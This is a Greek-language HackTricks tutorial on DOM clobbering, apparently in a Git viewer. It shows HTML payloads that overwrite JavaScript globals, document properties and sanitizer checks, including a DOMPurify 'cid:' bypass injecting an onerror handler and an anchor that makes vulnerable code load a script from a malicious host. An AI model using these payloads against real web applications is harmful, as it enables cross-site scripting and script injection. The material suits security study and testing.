220 lines
15 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Dom Clobbering
{{#include ../../banners/hacktricks-training.md}}
## **Βασικά**
Είναι δυνατόν να δημιουργηθούν **παγκόσμιες μεταβλητές μέσα στο JS context** με τα χαρακτηριστικά **`id`** και **`name`** σε HTML tags.
```html
<form id="x"></form>
<script>
console.log(typeof document.x) //[object HTMLFormElement]
</script>
```
**Μόνο** ορισμένα στοιχεία μπορούν να χρησιμοποιήσουν το **name attribute** για να κλωνοποιήσουν παγκόσμιες μεταβλητές, αυτά είναι: `embed`, `form`, `iframe`, `image`, `img` και `object`.
Ενδιαφέρον είναι ότι όταν χρησιμοποιείτε ένα **form element** για να **κλωνοποιήσετε** μια μεταβλητή, θα λάβετε την **`toString`** τιμή του στοιχείου αυτού: `[object HTMLFormElement]`, αλλά με **anchor** η **`toString`** θα είναι το **`href`** του anchor. Επομένως, αν κλωνοποιήσετε χρησιμοποιώντας την **`a`** ετικέτα, μπορείτε να **ελέγξετε** την **τιμή** όταν αυτή **θεωρείται ως συμβολοσειρά**:
```html
<a href="controlled string" id="x"></a>
<script>
console.log(x) //controlled string
</script>
```
### Arrays & Attributes
Είναι επίσης δυνατό να **καταστραφεί ένας πίνακας** και **τα χαρακτηριστικά ενός αντικειμένου**:
```html
<a id="x">
<a id="x" name="y" href="controlled">
<script>
console.log(x[1]) //controlled
console.log(x.y) //controlled
</script></a
></a
>
```
Για να καταστρέψετε **ένα 3ο χαρακτηριστικό** (π.χ. x.y.z), πρέπει να χρησιμοποιήσετε μια **`form`**:
```html
<form id="x" name="y"><input id="z" value="controlled" /></form>
<form id="x"></form>
<script>
alert(x.y.z.value) //controlled
</script>
```
Η κλοπή περισσότερων χαρακτηριστικών είναι **πιο περίπλοκη αλλά ακόμα δυνατή**, χρησιμοποιώντας iframes:
```html
<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(x.y) //controlled
</script>
```
> [!WARNING]
> Το tag style χρησιμοποιείται για να **δώσει αρκετό χρόνο στο iframe να αποδοθεί**. Χωρίς αυτό, θα βρείτε μια ειδοποίηση **undefined**.
Για να κτυπήσετε βαθύτερα χαρακτηριστικά, μπορείτε να χρησιμοποιήσετε **iframes με html encoding** με αυτόν τον τρόπο:
```html
<iframe
name="a"
srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(a.b.c.d.e) //controlled
</script>
```
### **Παράκαμψη Φίλτρου**
Αν ένα φίλτρο **περνάει** μέσα από τις **ιδιότητες** ενός κόμβου χρησιμοποιώντας κάτι όπως `document.getElementByID('x').attributes`, θα μπορούσες να **καταστρέψεις** την ιδιότητα **`.attributes`** και να **σπάσεις το φίλτρο**. Άλλες ιδιότητες DOM όπως **`tagName`**, **`nodeName`** ή **`parentNode`** και άλλες είναι επίσης **καταστρέψιμες**.
```html
<form id="x"></form>
<form id="y">
<input name="nodeName" />
</form>
<script>
console.log(document.getElementById("x").nodeName) //FORM
console.log(document.getElementById("y").nodeName) //[object HTMLInputElement]
</script>
```
## **Clobbering `window.someObject`**
Στην JavaScript είναι συνηθισμένο να βρίσκεις:
```javascript
var someObject = window.someObject || {}
```
Η χειραγώγηση του HTML στη σελίδα επιτρέπει την αντικατάσταση του `someObject` με έναν κόμβο DOM, ενδεχομένως εισάγοντας ευπάθειες ασφαλείας. Για παράδειγμα, μπορείτε να αντικαταστήσετε το `someObject` με ένα στοιχείο άγκυρας που δείχνει σε ένα κακόβουλο σενάριο:
```html
<a id=someObject href=//malicious-website.com/malicious.js></a>
```
Σε έναν ευάλωτο κώδικα όπως:
```html
<script>
window.onload = function () {
let someObject = window.someObject || {}
let script = document.createElement("script")
script.src = someObject.url
document.body.appendChild(script)
}
</script>
```
Αυτή η μέθοδος εκμεταλλεύεται την πηγή του script για να εκτελέσει ανεπιθύμητο κώδικα.
**Trick**: **`DOMPurify`** σας επιτρέπει να χρησιμοποιείτε το **`cid:`** πρωτόκολλο, το οποίο **δεν κωδικοποιεί URL διπλά εισαγωγικά**. Αυτό σημαίνει ότι μπορείτε να **εισάγετε ένα κωδικοποιημένο διπλό εισαγωγικό που θα αποκωδικοποιηθεί κατά την εκτέλεση**. Επομένως, η εισαγωγή κάτι όπως **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** θα κάνει το HTML κωδικοποιημένο `&quot;` να **αποκωδικοποιηθεί κατά την εκτέλεση** και να **ξεφύγει** από την τιμή του χαρακτηριστικού για να **δημιουργήσει** το **`onerror`** γεγονός.
Μια άλλη τεχνική χρησιμοποιεί ένα **`form`** στοιχείο. Ορισμένες βιβλιοθήκες πελάτη ελέγχουν τα χαρακτηριστικά ενός νεοδημιουργημένου στοιχείου φόρμας για να τα καθαρίσουν. Ωστόσο, προσθέτοντας ένα `input` με `id=attributes` μέσα στη φόρμα, ουσιαστικά αντικαθιστάτε την ιδιότητα attributes, αποτρέποντας τον καθαριστή από το να έχει πρόσβαση στα πραγματικά χαρακτηριστικά.
Μπορείτε να [**βρείτε ένα παράδειγμα αυτού του τύπου clobbering σε αυτή τη CTF αναφορά**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
## Clobbering αντικειμένου εγγράφου
Σύμφωνα με την τεκμηρίωση, είναι δυνατόν να αντικαταστήσετε τα χαρακτηριστικά του αντικειμένου εγγράφου χρησιμοποιώντας DOM Clobbering:
> Η [Document](https://html.spec.whatwg.org/multipage/dom.html#document) διεπαφή [υποστηρίζει ονομαστικές ιδιότητες](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Οι [υποστηριζόμενες ονομασίες ιδιοτήτων](https://webidl.spec.whatwg.org/#dfn-supported-property-names) ενός [Document](https://html.spec.whatwg.org/multipage/dom.html#document) αντικειμένου εγγράφου σε οποιαδήποτε στιγμή αποτελούνται από τα εξής, σε [δενδροειδή διάταξη](https://dom.spec.whatwg.org/#concept-tree-order) σύμφωνα με το στοιχείο που τα συνέβαλε, αγνοώντας αργότερα διπλότυπα, και με τιμές από [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) χαρακτηριστικά να έρχονται πριν από τις τιμές από χαρακτηριστικά name όταν το ίδιο στοιχείο συμβάλλει και στα δύο:
>
> \- Η τιμή του χαρακτηριστικού περιεχομένου name για όλα τα [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), και [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) στοιχεία που έχουν μη κενό χαρακτηριστικό περιεχομένου name και είναι [σε ένα δέντρο εγγράφου](https://dom.spec.whatwg.org/#in-a-document-tree) με το έγγραφο ως [ρίζα](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- Η τιμή του χαρακτηριστικού περιεχομένου [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) για όλα τα [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) στοιχεία που έχουν μη κενό χαρακτηριστικό περιεχομένου [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) και είναι [σε ένα δέντρο εγγράφου](https://dom.spec.whatwg.org/#in-a-document-tree) με το έγγραφο ως [ρίζα](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- Η τιμή του χαρακτηριστικού περιεχομένου [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) για όλα τα [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) στοιχεία που έχουν τόσο μη κενό χαρακτηριστικό περιεχομένου [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) όσο και μη κενό χαρακτηριστικό περιεχομένου name, και είναι [σε ένα δέντρο εγγράφου](https://dom.spec.whatwg.org/#in-a-document-tree) με το έγγραφο ως [ρίζα](https://dom.spec.whatwg.org/#concept-tree-root).
Χρησιμοποιώντας αυτή την τεχνική μπορείτε να αντικαταστήσετε κοινώς χρησιμοποιούμενες **τιμές όπως `document.cookie`, `document.body`, `document.children`**, και ακόμη και μεθόδους στη διεπαφή Document όπως `document.querySelector`.
```javascript
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
```
## Γράφοντας μετά το στοιχείο που έχει καταστραφεί
Τα αποτελέσματα των κλήσεων σε **`document.getElementById()`** και **`document.querySelector()`** μπορούν να τροποποιηθούν με την εισαγωγή ενός `<html>` ή `<body>` tag με ταυτόσημο id attribute. Να πώς μπορεί να γίνει αυτό:
```html
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">
clobbered
</html>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
alert(document.querySelector(".x").innerText) // Clobbered
</script>
</p>
```
Επιπλέον, με την εφαρμογή στυλ για την απόκρυψη αυτών των εισαγόμενων HTML/body ετικετών, μπορεί να αποτραπεί η παρεμβολή από άλλο κείμενο στο `innerText`, ενισχύοντας έτσι την αποτελεσματικότητα της επίθεσης:
```html
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">
clobbered
</html>
<style>
p {
display: none;
}
</style>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
```
Οι έρευνες σχετικά με το SVG αποκάλυψαν ότι μια ετικέτα `<body>` μπορεί επίσης να χρησιμοποιηθεί αποτελεσματικά:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<body id="cdnDomain">
clobbered
</body>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
```
Για να λειτουργήσει η ετικέτα HTML μέσα σε SVG σε προγράμματα περιήγησης όπως το Chrome και το Firefox, είναι απαραίτητη μια ετικέτα `<foreignobject>`:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">
clobbered
</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
```
## Clobbering Forms
Είναι δυνατόν να προσθέσετε **νέες καταχωρίσεις μέσα σε μια φόρμα** απλά καθορίζοντας το **attribute `form`** μέσα σε ορισμένα tags. Μπορείτε να το χρησιμοποιήσετε για να **προσθέσετε νέες τιμές μέσα σε μια φόρμα** και ακόμη και να προσθέσετε ένα νέο **κουμπί** για να **το στείλετε** (clickjacking ή εκμεταλλευόμενοι κάποιο `.click()` JS κώδικα):
```html
<!--Add a new attribute and a new button to send-->
<textarea form="id-other-form" name="info">
";alert(1);//
</textarea>
<button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
```
- Για περισσότερα χαρακτηριστικά φόρμας στο [**κουμπί ελέγξτε αυτό**](https://www.w3schools.com/tags/tag_button.asp)**.**
## Αναφορές
- [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
- [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
- Heyes, Gareth. JavaScript για χάκερ: Μάθε να σκέφτεσαι σαν χάκερ.
{{#include ../../banners/hacktricks-training.md}}